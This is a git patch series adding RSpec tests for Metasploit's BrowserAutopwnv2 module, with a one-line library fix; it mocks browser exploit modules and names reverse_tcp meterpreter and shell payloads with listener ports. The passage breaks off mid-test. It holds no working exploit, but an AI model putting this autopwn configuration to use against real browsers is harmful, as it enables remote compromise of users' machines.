# This empties it + notes = [] + + db = double('db') + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_note(tag, data) + note = double('note') + + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + allow(note).to receive(:destroy) { mock_note_destroy } + + note + end + + def mock_stop_job(arg) + framework = double('Msf::Framework', datastore: {}) + jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s} + allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + allow(framework).to receive(:jobs).and_return(jobs) + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_job(id) + [id.to_s, double('job')] + end + + def create_fake_exploit(opts={}) + full_name = opts[:full_name] + rank = opts[:rank] || 400 + disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' + compat_payloads = opts[:compat_payloads] || [] + datastore_options = opts[:datastore_options] || {} + + mod = Msf::Exploit.new + mod.extend(Msf::Exploit::Remote::BrowserExploitServer) + + allow(mod).to receive(:fullname).and_return(full_name) + allow(mod).to receive(:rank).and_return(rank) + allow(mod).to receive(:disclosure_date).and_return(disclosure_date) + allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) + allow(mod).to receive(:datastore).and_return(datastore_options) + + mod + end + + def create_fake_ms14_064 + compat_payloads = ['windows/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'windows/browser/ms14_064_ole_code_execution', + rank: 600, + disclosure_date: 'Nov 13 2014', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/ms14_064'} + ) + end + + def create_fake_flash_net_connection_confusion + compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'multi/browser/adobe_flash_net_connection_confusion', + rank: 500, + disclosure_date: 'Mar 12 2015', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/flash1'} + ) + end + + def create_fake_flash_uncompress_zlib_uaf + compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', + rank: 500, + disclosure_date: 'Apr 28 2014', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/flash2'} + ) + end + + def create_fake_windows_meterpreter + p = Msf::Payload.new + p.platform.platforms << Msf::Module::Platform::Windows + p.arch << 'x86' + p.datastore['LPORT'] = '4444' + allow(p).to receive(:fullname).and_return('windows/meterpreter/reverse_tcp') + allow(p).to receive(:shortname).and_return('reverse_tcp') + + p + end + + def create_fake_linux_meterpreter + p = Msf::Payload.new + p.platform.platforms << Msf::Module::Platform::Linux + p.arch << 'x86' + p.datastore['LPORT'] = '4445' + allow(p).to receive(:fullname).and_return('linux/x86/meterpreter/reverse_tcp') + allow(p).to receive(:shortname).and_return('reverse_tcp') + + p + end + + def mock_payload_create(full_name) + available_payloads.each do |p| + return p if p.fullname == full_name + end + + nil + end + + def mock_exploit_create(full_name) + available_exploits.each do |x| + return x if x.fullname == full_name + end + + nil + end + + let(:available_exploits) do + @exploits ||= lambda { + exploits = [] + + exploits << create_fake_ms14_064 + exploits << create_fake_flash_uncompress_zlib_uaf + exploits << create_fake_flash_net_connection_confusion + + exploits + }.call + end + + let(:available_payloads) do + @payloads ||= lambda { + payloads = [] + + payloads << create_fake_windows_meterpreter + payloads << create_fake_linux_meterpreter + + payloads + }.call + end + + let(:fake_exploit_hash) do + exploits = {} + + available_exploits.each do |x| + exploits[x.fullname.to_s] = '__SYMBOLIC__' + end + + exploits + end + + let(:autopwn_datastore_options) do + { + 'SRVHOST' => '0.0.0.0', + 'SRVPORT' => 8080, + 'MaxExploits' => 20, + 'MaxSessions' => -1, + 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', + 'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp', + 'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp', + 'PAYLOAD_JAVA' => 'java/meterpreter/reverse_tcp', + 'PAYLOAD_LINUX' => 'linux/x86/meterpreter/reverse_tcp', + 'PAYLOAD_OSX' => 'osx/x86/shell_reverse_tcp', + 'PAYLOAD_UNIX' => 'cmd/unix/reverse', + 'PAYLOAD_WIN' => 'windows/meterpreter/reverse_tcp', + 'PAYLOAD_ANDROID_LPORT' => 4443, + 'PAYLOAD_FIREFOX_LPORT' => 4442, + 'PAYLOAD_GENERIC_LPORT' => 4459, + 'PAYLOAD_JAVA_LPORT' => 4448, + 'PAYLOAD_LINUX_LPORT' => 4445, + 'PAYLOAD_OSX_LPORT' => 4447, + 'PAYLOAD_UNIX_LPORT' => 4446, + 'PAYLOAD_WIN_LPORT' => 4444 + } + end + + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true + # }} + let(:profile_packed_data) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + end + + let(:profile_tag) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + end + + let(:note_type_prefix) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + end + + + before(:each) do + framework = double('Msf::Framework', datastore: {}) + + # Prepare fake notes + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + + # Prepare framework.db + db = double('db') + allow(db).to receive(:report_note).with(kind_of(Hash)) { mock_report_note } + allow(db).to receive(:notes).and_return(notes) + allow(db).to receive(:active).and_return(true) + allow(framework).to receive(:db).and_return(db) + + # Prepare framework.exploits + exploits = double('exploits') + allow(exploits).to receive(:create) { |arg| mock_exploit_create(arg) } + allow(exploits).to receive(:each_pair).and_yield(available_exploits[0].fullname, '__SYMBOLIC__').and_yield(available_exploits[1].fullname, '__SYMBOLIC__').and_yield(available_exploits[2].fullname, '__SYMBOLIC__') + allow(framework).to receive(:exploits).and_return(exploits) + + # Prepare jobs + jobs = {'0' => create_fake_job(0)} + allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + allow(framework).to receive(:jobs).and_return(jobs) + + # Prepare payloads + payloads = {} + available_payloads.each do |p| + payloads[p.fullname] = "__SYMBOLIC__" + end + allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } + allow(framework).to receive(:payloads).and_return(payloads) + + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod.send(:initialize) + mod.send(:datastore=, autopwn_datastore_options) + allow(mod).to receive(:fullname).and_return('multi/browser/autopwn') + mod + end + + + + # + # Method testing starts here + # + + + + describe '#init_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + end + + context 'when two exploits are loaded' do + it 'saves two exploits in instance variable @bap_exploits' do + subject.init_exploits + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) + end + end + end + + describe '#note_type_prefix' do + it 'returns an unique note type' do + expect(subject.note_type_prefix).to match(/^BAP\.\d+\.Client$/) + end + end + + describe '#rm_target_info_notes' do + before(:each) do + allow(subject).to receive(:note_type_prefix).and_return("#{note_type_prefix}.#{profile_tag}") + end + + it 'empties target_info_notes' do + subject.rm_target_info_notes + expect(subject.framework.db.notes).to be_empty + end + end + + context 'when removing jobs' do + let(:job_ids) do + ids = [] + + subject.framework.jobs.each do |job| + ids << job.first.to_i + end + + ids + end + + describe '#rm_exploit_jobs' do + before(:each) do + subject.instance_variable_set(:@exploit_job_ids, job_ids) + end + + it 'empties jobs' do + expect(subject.framework.jobs.length).to eq(1) + subject.rm_exploit_jobs + expect(subject.framework.jobs).to be_empty + end + end + + describe '#rm_payload_jobs' do + before(:each) do + subject.instance_variable_set(:@payload_job_ids, job_ids) + end + + it 'empties jobs' do + expect(subject.framework.jobs.length).to eq(1) + subject.rm_payload_jobs + expect(subject.framework.jobs).to be_empty + end + end + end + + describe '#set_exploit_options' do + before(:each) do + payload_info = { + payload_name: 'windows/meterpreter/reverse_tcp', + payload_lport: 4444 + } + + allow(subject).to receive(:select_payload).and_return([payload_info]) + end + + let(:xploit) do + create_fake_ms14_064 + end + + context 'when a module is given' do + before(:each) do + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + subject.set_exploit_options(xploit) + end + + it 'sets the datastore options' do + expect(xploit.datastore['URIPATH']).to match(/^\/\w+/) + end + + it 'sets Msf::Exploit::Remote::BrowserAutopwnv2 as MODULEOWNER' do + expect(xploit.datastore['MODULEOWNER']).to eq(Msf::Exploit::Remote::BrowserAutopwnv2) + end + end + end + + describe '#is_resource_taken?' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + let(:repeated_resource) { '/flash1' } + + let(:non_repeated_resource) { '/unique' } + + context 'when a resource is repeated' do + it 'returns true' do + expect(subject.is_resource_taken?(repeated_resource)).to be_truthy + end + end + + context 'when a resource is not repeated' do + it 'returns false' do + expect(subject.is_resource_taken?(non_repeated_resource)).to be_falsey + end + end + end + + describe '#assign_module_resource' do + it 'returns a resource' do + allow(subject).to receive(:is_resource_taken?).and_return(false) + expect(subject.assign_module_resource).to match(/^\w+$/) + end + end + + + context 'when sorting' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + let(:bap_groups) { subject.group_bap_modules } + + describe '#sort_date_in_group' do + it 'returns modules sorted by date' do + unsorted_first = 'multi/browser/adobe_flash_uncompress_zlib_uaf' + expect(bap_groups[500].first.fullname).to eq(unsorted_first) + + sorted_first = 'multi/browser/adobe_flash_net_connection_confusion' + expect(subject.sort_date_in_group(bap_groups)[500].first.fullname).to eq(sorted_first) + end + end + + describe '#sort_group_by_rank' do + it 'returns modules sorted by rank' do + unsorted_order = [0, 100, 200, 300, 400, 500, 600] + sorted_order = [0, 100, 200, 300, 400, 500, 600].reverse + + expect(bap_groups.keys).to eq(unsorted_order) + expect(subject.sort_group_by_rank(bap_groups).keys).to eq(sorted_order) + end + end + + describe '#group_bap_modules' do + it 'returns modules sorted by group' do + group_order = [0, 100, 200, 300, 400, 500, 600] + expect(bap_groups.keys).to eq(group_order) + end + end + + describe '#finalize_sorted_modules' do + context 'when MaxExploits is 1' do + it 'returns one exploit' do + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) + + allow(subject).to receive(:datastore).and_return({'MaxExploits'=>1}) + subject.finalize_sorted_modules(bap_groups) + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1) + end + end + end + end + + describe '#get_selected_payload_name' do + context 'when windows platform is given' do + it 'returns windows/meterpreter/reverse_tcp' do + expect(subject.get_selected_payload_name('win')).to eq('windows/meterpreter/reverse_tcp') + end + end + end + + describe '#get_selected_payload_lport' do + end + + describe '#get_payload_lhost' do + end + + describe '#start_payload_listeners' do + end + + describe '#parse_rank' do + end + + describe '#is_payload_platform_compatible?' do + end + + describe '#is_payload_compatible?' do + end + + describe '#is_multi_platform_exploit?' do + end + + describe '#select_payload' do + end + + describe '#start_exploits' do + end + + describe '#show_ready_exploits' do + end + + describe '#start_service' do + end + + describe '#show_payloads' do + end + + describe '#set_payload' do + end + + describe '#get_suitable_exploits' do + end + + describe '#log_click' do + end + + describe '#show_real_list' do + end + + describe '#get_exploit_urls' do + end + + describe '#on_request_uri' do + end + + describe '#is_ip_targeted?' do + end + + describe '#session_count' do + end + + describe '#get_custom_404_url' do + end + + describe '#build_html' do + end + +end \ No newline at end of file From b1f68556f9c48896899b7fcd61b25309acd33ee1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Jun 2015 02:52:59 -0500 Subject: [PATCH 091/150] More testcases --- .../core/exploit/browser_autopwnv2_spec.rb | 232 ++++++++++++++++-- 1 file changed, 208 insertions(+), 24 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index b724cef4cc..8d0ea39a78 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -25,7 +25,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(subject).to receive(:framework).and_return(framework) end - def create_fake_note(tag, data) + + def mock_report_note(arg) + framework = double('Msf::Framework', datastore: {}) + notes = [create_fake_note('bap.clicks')] + db = double('db') + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_note(tag, data='') note = double('note') allow(note).to receive(:ntype).and_return(tag) @@ -53,6 +63,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' compat_payloads = opts[:compat_payloads] || [] datastore_options = opts[:datastore_options] || {} + job_id = opts[:job_id] || 0 + requirements = opts[:requirements] || {} mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) @@ -62,66 +74,104 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:disclosure_date).and_return(disclosure_date) allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) allow(mod).to receive(:datastore).and_return(datastore_options) + allow(mod).to receive(:job_id).and_return(job_id) + allow(mod).to receive(:exploit_simple) mod end def create_fake_ms14_064 - compat_payloads = ['windows/meterpreter/reverse_tcp'] + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] + ] create_fake_exploit( full_name: 'windows/browser/ms14_064_ole_code_execution', rank: 600, disclosure_date: 'Nov 13 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/ms14_064'} + datastore_options: {'URI'=>'/ms14_064'}, + job_id: 0, + requirements: {os_name: windows_81_regex} ) end def create_fake_flash_net_connection_confusion - compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter], + [linux_meterpreter_reverse_tcp, create_fake_linux_meterpreter] + ] create_fake_exploit( full_name: 'multi/browser/adobe_flash_net_connection_confusion', rank: 500, disclosure_date: 'Mar 12 2015', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash1'} + datastore_options: {'URI'=>'/flash1'}, + job_id: 1, + requirements: {os_name: windows_81_regex} ) end def create_fake_flash_uncompress_zlib_uaf - compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + compat_payloads = [windows_meterpreter_reverse_tcp, linux_meterpreter_reverse_tcp] create_fake_exploit( full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', rank: 500, disclosure_date: 'Apr 28 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash2'} + datastore_options: {'URI'=>'/flash2'}, + job_id: 2, + requirements: {os_name: windows_81_regex} ) end - def create_fake_windows_meterpreter + def create_fake_payload(opts={}) + platforms = opts[:platforms] + archs = opts[:archs] + datastores = opts[:datastore_options] + fullname = opts[:fullname] + shortname = opts[:shortname] + p = Msf::Payload.new - p.platform.platforms << Msf::Module::Platform::Windows - p.arch << 'x86' - p.datastore['LPORT'] = '4444' - allow(p).to receive(:fullname).and_return('windows/meterpreter/reverse_tcp') - allow(p).to receive(:shortname).and_return('reverse_tcp') + + platforms.each do |platform| + p.platform.platforms << platform + end + + archs.each do |arch| + p.arch << arch + end + + datastores.each_pair do |key, value| + p.datastore[key] = value + end + + allow(p).to receive(:fullname).and_return(fullname) + allow(p).to receive(:shoftname).and_return(shortname) p end - def create_fake_linux_meterpreter - p = Msf::Payload.new - p.platform.platforms << Msf::Module::Platform::Linux - p.arch << 'x86' - p.datastore['LPORT'] = '4445' - allow(p).to receive(:fullname).and_return('linux/x86/meterpreter/reverse_tcp') - allow(p).to receive(:shortname).and_return('reverse_tcp') + def create_fake_windows_meterpreter + create_fake_payload( + platforms: [Msf::Module::Platform::Windows], + archs: ['x86'], + datastore_options: {'LPORT'=>'4444'}, + fullname: windows_meterpreter_reverse_tcp, + shortname: 'reverse_tcp' + ) + end - p + def create_fake_linux_meterpreter + create_fake_payload( + platforms: [Msf::Module::Platform::Linux], + archs: ['x86'], + datastore_options: {'LPORT'=>'4445'}, + fullname: linux_meterpreter_reverse_tcp, + shortname: 'reverse_tcp' + ) end def mock_payload_create(full_name) @@ -140,6 +190,18 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do nil end + let(:windows_meterpreter_reverse_tcp) do + 'windows/meterpreter/reverse_tcp' + end + + let(:linux_meterpreter_reverse_tcp) do + 'linux/x86/meterpreter/reverse_tcp' + end + + let(:windows_81_regex) do + /^(?:Microsoft )?Windows 8\.1/ + end + let(:available_exploits) do @exploits ||= lambda { exploits = [] @@ -178,7 +240,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do 'SRVHOST' => '0.0.0.0', 'SRVPORT' => 8080, 'MaxExploits' => 20, + 'LHOST' => '127.0.0.1', 'MaxSessions' => -1, + 'Custom404' => 'http://example.com', 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', 'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp', 'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp', @@ -237,7 +301,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # Prepare framework.db db = double('db') - allow(db).to receive(:report_note).with(kind_of(Hash)) { mock_report_note } + allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } allow(db).to receive(:notes).and_return(notes) allow(db).to receive(:active).and_return(true) allow(framework).to receive(:db).and_return(db) @@ -262,6 +326,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(framework).to receive(:payloads).and_return(payloads) allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end subject do @@ -351,7 +416,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do describe '#set_exploit_options' do before(:each) do payload_info = { - payload_name: 'windows/meterpreter/reverse_tcp', + payload_name: windows_meterpreter_reverse_tcp, payload_lport: 4444 } @@ -463,36 +528,137 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do describe '#get_selected_payload_name' do context 'when windows platform is given' do it 'returns windows/meterpreter/reverse_tcp' do - expect(subject.get_selected_payload_name('win')).to eq('windows/meterpreter/reverse_tcp') + expect(subject.get_selected_payload_name('win')).to eq(windows_meterpreter_reverse_tcp) end end end describe '#get_selected_payload_lport' do + context 'when windows platform is given' do + it 'returns 4444' do + expect(subject.get_selected_payload_lport('win')).to eq(4444) + end + end end describe '#get_payload_lhost' do + it 'returns LHOST' do + expect(subject.get_payload_lhost).to eq(autopwn_datastore_options['LHOST']) + end end describe '#start_payload_listeners' do end describe '#parse_rank' do + context 'when rank is 600' do + it 'returns Excellent' do + expect(subject.parse_rank(600)).to eq('Excellent') + end + end + + context 'when rank is 500' do + it 'returns Great' do + expect(subject.parse_rank(500)).to eq('Great') + end + end + + context 'when rank is 400' do + it 'returns Good' do + expect(subject.parse_rank(400)).to eq('Good') + end + end + + context 'when rank is 300' do + it 'returns Good' do + expect(subject.parse_rank(300)).to eq('Normal') + end + end + + context 'when rank is 200' do + it 'returns Average' do + expect(subject.parse_rank(200)).to eq('Average') + end + end + + context 'when rank is 100' do + it 'returns Low' do + expect(subject.parse_rank(100)).to eq('Low') + end + end + + context 'when rank is 0' do + it 'returns Manual' do + expect(subject.parse_rank(0)).to eq('Manual') + end + end end describe '#is_payload_platform_compatible?' do + let(:windows_payload) { create_fake_windows_meterpreter } + + context 'when a valid platform is given' do + it 'returns true' do + expect(subject.is_payload_platform_compatible?(windows_payload, 'win')).to be_truthy + end + end + + context 'when an invalid platform is given' do + it 'returns false' do + expect(subject.is_payload_platform_compatible?(windows_payload, 'linux')).to be_falsey + end + end end describe '#is_payload_compatible?' do + let(:windows_exploit) { create_fake_ms14_064 } + + context 'when a valid payload name is given' do + it 'returns true' do + expect(subject.is_payload_compatible?(windows_exploit, windows_meterpreter_reverse_tcp)).to be_truthy + end + end + + context 'when an invalid payload name is given' do + it 'returns false' do + expect(subject.is_payload_compatible?(windows_exploit, linux_meterpreter_reverse_tcp)).to be_falsey + end + end end describe '#is_multi_platform_exploit?' do + context 'when a windows exploit is given' do + it 'returns false' do + windows_exploit = create_fake_ms14_064 + expect(subject.is_multi_platform_exploit?(windows_exploit)).to be_falsey + end + end + + context 'when a multi-platform flash exploit is given' do + it 'returns true' do + flash_exploit = create_fake_flash_net_connection_confusion + expect(subject.is_multi_platform_exploit?(flash_exploit)).to be_truthy + end + end end describe '#select_payload' do end describe '#start_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@exploit_job_ids, []) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + it 'returns job IDs of the exploits started' do + subject.start_exploits + available_exploits.each do |x| + expect(subject.instance_variable_get(:@exploit_job_ids)).to include(x.job_id) + end + end end describe '#show_ready_exploits' do @@ -508,9 +674,24 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#get_suitable_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + allow(subject).to receive(:retrieve_tag) + allow(subject).to receive(:get_profile_info) + end end describe '#log_click' do + let(:ip) { '192.168.1.123' } + + context 'when a link is clicked' do + it 'reports a bap.clicks note' do + subject.log_click(ip) + expect(subject.framework.db.notes.first.ntype).to eq('bap.clicks') + end + end end describe '#show_real_list' do @@ -529,6 +710,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#get_custom_404_url' do + it 'returns a custom 404' do + expect(subject.get_custom_404_url).to eq(autopwn_datastore_options['Custom404']) + end end describe '#build_html' do From 5fa864b09776cb888741c69a1977a5deee249617 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Jun 2015 16:23:39 -0500 Subject: [PATCH 092/150] done with rspec --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 +- .../core/exploit/browser_autopwnv2_spec.rb | 212 +++++++++++++++--- 2 files changed, 178 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 866e78d6e1..6363c3e759 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -182,7 +182,7 @@ module Msf taken = false bap_exploits.each do |m| - return true if m.datastore['URI'] == resource + return true if m.datastore['URIPATH'] == resource end taken @@ -558,9 +558,9 @@ module Msf DEFAULT_PAYLOADS.keys.each do |platform| payload_name = get_selected_payload_name(platform) p = framework.payloads.create(payload_name) + next unless p p.datastore['LHOST'] = get_payload_lhost p.datastore['LPORT'] = get_selected_payload_lport(platform) - next unless p p_opt = Serializer::ReadableText.dump_options(p, ' ') print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) end diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 8d0ea39a78..1d003816f6 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -25,7 +25,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(subject).to receive(:framework).and_return(framework) end - def mock_report_note(arg) framework = double('Msf::Framework', datastore: {}) notes = [create_fake_note('bap.clicks')] @@ -59,6 +58,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def create_fake_exploit(opts={}) full_name = opts[:full_name] + short_name = opts[:short_name] rank = opts[:rank] || 400 disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' compat_payloads = opts[:compat_payloads] || [] @@ -76,6 +76,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:datastore).and_return(datastore_options) allow(mod).to receive(:job_id).and_return(job_id) allow(mod).to receive(:exploit_simple) + allow(mod).to receive(:vprint_status) + allow(mod).to receive(:shortname).and_return(short_name) + mod.instance_variable_set(:@requirements, requirements) mod end @@ -87,10 +90,11 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'windows/browser/ms14_064_ole_code_execution', + short_name: 'ms14_064_ole_code_execution', rank: 600, disclosure_date: 'Nov 13 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/ms14_064'}, + datastore_options: {'URIPATH'=>'/ms14_64'}, job_id: 0, requirements: {os_name: windows_81_regex} ) @@ -104,12 +108,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'multi/browser/adobe_flash_net_connection_confusion', + short_name: 'adobe_flash_net_connection_confusion', rank: 500, disclosure_date: 'Mar 12 2015', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash1'}, + datastore_options: {'URIPATH'=>'/flash1'}, job_id: 1, - requirements: {os_name: windows_81_regex} + requirements: {os_name: lambda { |ver| ver == '16.0.0.305' }} ) end @@ -118,12 +123,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', + short_name: 'adobe_flash_uncompress_zlib_uaf', rank: 500, disclosure_date: 'Apr 28 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash2'}, + datastore_options: {'URIPATH'=>'/flash2'}, job_id: 2, - requirements: {os_name: windows_81_regex} + requirements: {os_name: lambda { |ver| ver == '16.0.0.287' }} ) end @@ -175,6 +181,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end def mock_payload_create(full_name) + full_name.gsub!(/^firefox/, 'generic') available_payloads.each do |p| return p if p.fullname == full_name end @@ -202,6 +209,16 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do /^(?:Microsoft )?Windows 8\.1/ end + let(:job_ids) do + ids = [] + + subject.framework.jobs.each do |job| + ids << job.first.to_i + end + + ids + end + let(:available_exploits) do @exploits ||= lambda { exploits = [] @@ -241,6 +258,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do 'SRVPORT' => 8080, 'MaxExploits' => 20, 'LHOST' => '127.0.0.1', + 'SSL' => false, 'MaxSessions' => -1, 'Custom404' => 'http://example.com', 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', @@ -292,6 +310,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." end + let(:cli) do + c = double('cli') + allow(c).to receive(:peerhost).and_return('127.0.0.1') + c + end + + let(:cli_req) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = "__ua=#{profile_tag}" + req + end before(:each) do framework = double('Msf::Framework', datastore: {}) @@ -325,6 +354,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } allow(framework).to receive(:payloads).and_return(payloads) + allow_any_instance_of(described_class).to receive(:cli).and_return(cli) + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end @@ -378,16 +409,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end context 'when removing jobs' do - let(:job_ids) do - ids = [] - - subject.framework.jobs.each do |job| - ids << job.first.to_i - end - - ids - end - describe '#rm_exploit_jobs' do before(:each) do subject.instance_variable_set(:@exploit_job_ids, job_ids) @@ -401,11 +422,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#rm_payload_jobs' do - before(:each) do - subject.instance_variable_set(:@payload_job_ids, job_ids) - end - it 'empties jobs' do + subject.instance_variable_set(:@payload_job_ids, job_ids) expect(subject.framework.jobs.length).to eq(1) subject.rm_payload_jobs expect(subject.framework.jobs).to be_empty @@ -661,16 +679,88 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_ready_exploits' do - end + describe 'when outputing' do - describe '#start_service' do - end + # Get stdout: + # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end - describe '#show_payloads' do - end + before(:each) do + allow(subject).to receive(:print_status) { |arg| $stdout.puts arg } + allow(subject).to receive(:print_line) { |arg| $stdout.puts arg } + allow(subject).to receive(:print) { |arg| $stdout.puts arg } + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end - describe '#set_payload' do + describe '#show_ready_exploits' do + + let(:output) { get_stdout { subject.show_ready_exploits } } + + context 'when there is ms14_064_ole_code_execution available' do + it 'shows ms14_064_ole_code_execution on the 